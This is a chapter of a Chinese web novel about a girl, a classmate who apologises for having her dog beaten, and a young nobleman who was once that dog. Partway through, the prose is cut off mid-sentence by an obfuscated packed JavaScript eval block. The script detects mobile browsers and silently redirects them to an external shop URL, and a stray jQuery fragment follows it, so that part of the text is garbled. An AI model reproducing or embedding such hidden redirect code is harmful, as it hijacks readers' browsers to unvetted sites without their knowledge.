文趣网 > 其他小说 > 小爷我才不是狗! > 25. 试探
    张庭芳已经在文心班后窗徘徊了许久。

    这些天她观察过,宋新好不像往常那么用功,一下课就开始看闲书。想必也是被钟统给拒绝了,受打击了。

    那些闲书她回家后也看了看,大多都是些没什么用的东西,只勉强打发时间。

    但一想到宋新好可能也是被钟统拒绝了,张庭芳心里对宋新好的敌意,就不知不觉变了味。

    也许是钟统太严苛,连宋新好这样的,不也没入她眼?

    张庭芳想着想着,手就自己动了起来。

    她把鸡肉撕成细条,在灶台边烤干了水分,焦的挑出来扔掉,没焦的切成小段。

    狗吃这些东西应该是可以的。

    她在家里见过厨娘喂猫,猫就吃这种肉干。

    狗和猫差不多,狗肯定也吃。

    但当她站在文心班后窗,看着宋新好独自坐在窗边的背影时,又开始后悔。

    她为什么要来?

    宋新好的那条狗,就是她找人打的。

    现在拿着肉干来道歉,宋新好会怎么想?

    肯定会觉得她假惺惺。

    张庭芳咬了咬嘴唇,转身就要走。

    走了两步,又转回来。

    打狗这件事,确实是她做得不对。

    她不是在给宋新好道歉,是在给狗道歉。

    张庭芳深吸一口气,迈步走向门口。

    宋新好听见脚步声,抬起头来。

    四目相对。

    张庭芳的嘴张了张,没发出声音。

    宋新好也没说话,只是看着她,目光平静。

    张庭芳感觉到自己的耳根开始发烫。

    她下意识想别过脸去,但又觉得这样太丢人了,于是硬撑着没动,只是把手里那个布袋往宋新好桌上一放。

    “给你的。”

    宋新好低头看了看袋子,又抬头看她。

    “什么东西?”

    “你打开看不就知道了。”

    宋新好依言打开,一股肉香飘了出来,她往里看了一眼,眉梢微微动了动。

    “……肉干?”

    “给狗的。”

    张庭芳的语气硬邦邦的,不像是在道歉,倒像是骂人,

    “我听说狗喜欢吃这个。”

    “多谢。”宋新好说。

    张庭芳的肩膀几不可察地松了一下。但宋新好接下来的话让她又僵住了。

    “不过六六不在我这里了。”

    张庭芳猛地转过身:“你什么意思?”

    “六六是陆祺养的狗。”

    宋新好语气平静,

    “前几日陆府的段婆婆来过,说六六是跑丢的,陆祺一直在找。现在狗已经送回陆府了。”

    “陆祺?”

    张庭芳重复了一遍这个名字,眉头拧了起来,

    “他什么时候养过狗?”

    她甚至忘了自己还在“道歉”,整个人的气势忽然回来了,像是抓住了什么了不得的把柄。

    “他骗人!莫不是看你的狗名贵,要——”

    张庭芳说着又顿住。

    再名贵的狗也不过是一条狗。

    而陆祺的父亲是镇国大将军,姑姑是太后眼前的红人。

    退一万步说,他想要宋新好的狗,总能开出一个她无法拒绝的价格,又或者以权压人……总归不至于要骗人。

    宋新好把她一连串的表情变换尽收眼底,也知道了她在想什么。

    “……”

    张庭芳走了没一会儿,谢妙意就蹦蹦跳跳地进了屋。

    她一进门就看见宋新好桌上那个袋子,凑过去闻了闻:

    “咦,这什么?闻着还挺香。”

    “张庭芳送来的。”

    谢妙意的手僵在半空,脸上的表情像是吃了苦瓜:

    “她?送东西?该不会下了毒吧?”

    “是肉干,给六六的。”

    “六六?”

    谢妙意眼睛一亮,

    “对了,说起来我好久没见六六了。等放学了我跟你去你家看看它呗?我还怪想它的。”

    宋新好沉默。

    谢妙意注意到她神色有异:

    “怎么?六六出什么事了?”

    “它找到原来的主人了,是陆祺。”

    谢妙意的眉头慢慢皱了起来。

    “陆祺?”她重复了一遍这个名字,语气古怪,“陆祺什么时候养过狗了?”

    妙意也没听说过这件事。

    宋新好的手指微微蜷了蜷。

    “妙意,下了学,我要去趟陆府。”

    ……

    陆祺正在院子里逗狗。

    变成人之后,他才发现自己原来这副身体的体能有多好。

    狗得追着布球满院子跑,四条小短腿倒腾得勤快,而他只需要站在原地,手腕轻轻一抖,布球就飞到了院子另一头。

    狗扑过去,叼住球,又哒哒哒地跑回来,把球放在他脚面上,蹲坐下来仰头看他,尾巴在身后扫成一团白影。

    陆祺低头看它,忍不住笑了一声。

    这狗以前磨他爹散步,现在磨他玩球。

    “行,再来一次。”

    他捡起球,正要再扔,门房小厮小跑着过来:

    “少爷,外面有两位姑娘,说想见您。”

    陆祺的动作顿了一下。

    “谁?”

    “一位姓宋,一位姓谢,说是您在学宫的同窗。”

    陆祺手里的球掉到地上。

    宋新好?她来干什么?

    “让她——让她们进来吧。”

    陆祺深吸一口气,理了理衣领,今天穿的是那件墨蓝色的袍子,似乎也没沾上狗毛,头发也束得整齐,不算失礼。

    然后他看了一眼脚边吐着舌头的狗,把它也捞进怀里检查:

    毛刚梳过,耳朵干净,身上没有异味,尾巴摇得欢快。

    过关。

    宋新好走进院子的时候,谢妙意却没跟进来,只在门口说了句“我去对面点心铺子买些东西,等下来找你啊”就跑没影了。

    陆祺没来得及庆幸少了一张嘴,脚边的狗就像一颗白色的毛球一样冲了出去。

    “汪汪!汪汪汪!”

    宋新好弯腰把它捞进怀里,狗立刻把脑袋往她肩窝里埋,发出一声又长又委屈的“呜——”,像是在诉苦,又像是在撒娇。

    陆祺站在一旁,心里酸溜溜地想,这傻狗真会献殷勤。

    宋新好进门之后,先叫的是狗,先抱的也是狗,他在原地杵了半天,她连一个正眼都没给他。

    宋新好抽出空来,才朝陆祺点了点头,她今日穿的还是那条淡青色襦裙,发丝绾成简单的单螺髻,几缕碎发垂在颊边,衬得她下颌的弧度愈发柔和。

    淡墨色的眉,浅色的眼珠,只不过此刻那双眼睛正看着他,带着几分审视,几分疏离。

    不是在看六六,是在看陆祺。

    陆祺忽然觉得嗓子有些发干。

    “陆公子,贸然登门,多有打扰。”

    “不打扰。”

    陆祺回过神来,忙收回盯着她看的目光,又觉得刚才答应得太快显得急切,找补了一句,

    “反正我也闲着。”

    宋新好看了一遍院子里的狗窝、水碗、散落的布球和玩具,又把目

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579457|204745||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    光落在陆祺因为紧张而微微绷紧的肩膀上。

    她若有所思道,

    “陆公子养狗养得很用心。”

    陆祺不知道该怎么接这句话,只好干巴巴地“嗯”了一声。

    她该不会是发现了什么吧?

    陆祺攥了攥拳。

    “陆公子。”宋新好又开口了。

    “在。”

    “段婆婆说,六六是你养的狗。”

    “是。”陆祺应得飞快,“我养的。”

    “养了多久了?”

    “没多久。”

    “没多久是多久?”

    陆祺努力圆谎,尽量学着宋新好撒谎时的样子道:“一两个月吧,具体记不太清了。你也知道,我前段时间那个……”

    “中邪?”宋新好替他补完。

    “……对。中邪。”陆祺干咳一声,“那阵子记性不大好。”

    狗“汪”了一声。

    “那它叫什么名字?”她忽然又问。

    “六——七。”

    “六七?”

    宋新好跟着重复了一遍。

    陆祺只觉得脑袋都要炸开了。

    她怎么能这样试探自己?

    他差点就说狗的名字是六六了!

    宋新好没完全放下疑心,对着怀里的狗叫了一声。

    “六七?”

    狗对这个名字很有反应,激动得又要去舔宋新好的脸。

    陆祺一边松了一口气,一边在心里泛酸。

    六七是他自己的乳名,听着和“陆祺”很像,因为这狗被叫“陆祺”听惯了,对“六七”这个名字也有反应。

    理所当然,毫无破绽。

    “它好像很喜欢这个名字。”

    宋新好说。

    陆祺干笑了一声:

    “是啊,它……不挑。”

    六六从宋新好怀里跳下来,又回到陆祺脚边,开始绕着他打转。

    宋新好把这个动作看在眼里。

    她从书囊里取出那个布袋,放在石桌上。

    “张庭芳托我带来的,这是她自己做的肉脯,给六……七吃的。”

    陆祺差点没控制住表情。

    张庭芳?给狗做吃的?日头打西边出来了?

    “六……七。”陆祺从善如流,“你运气倒不错,还有人给你送吃的。”

    狗不理他,闻到了肉的香味,开始试图跳上桌子。

    宋新好蹲下身子专心喂狗。

    陆祺搜肠刮肚地想话题,又觉得说什么都不太自然。

    从前做狗时不用说话,只消蹭蹭她的下巴、顶顶她的手心,她就好像什么都能知道。

    现在重新变成了人,明明站在她面前,却不知道该说什么,该怎么说。

    六七吃饱了,在宋新好面前翻了个身,露出浅粉色的肚皮,四只爪子蜷在胸前,舒服得直哼哼。

    宋新好看着它。

    它比刚来家里时胖了不止一圈,皮毛油光水滑,四只爪子干干净净。

    现在它在陆府一定也很受宠爱。

    “时候不早了。”

    宋新好把狗轻轻放在地上,站起身来,

    “妙意还在外面等我。陆公子,告辞。”

    陆祺张了张嘴,想说你以后还可以来看它,或者,你可以再坐一会儿,但说出口的只有两个字。

    “慢走。”

    宋新好点了点头,转身朝门外走去。

    陆祺站在原地,低头看着脚边那只还在冲门口摇尾巴的狗,半晌才从牙缝里挤出一句话:

    “你倒是开心了。”

    狗仰头看他,欢快地“汪”了一声。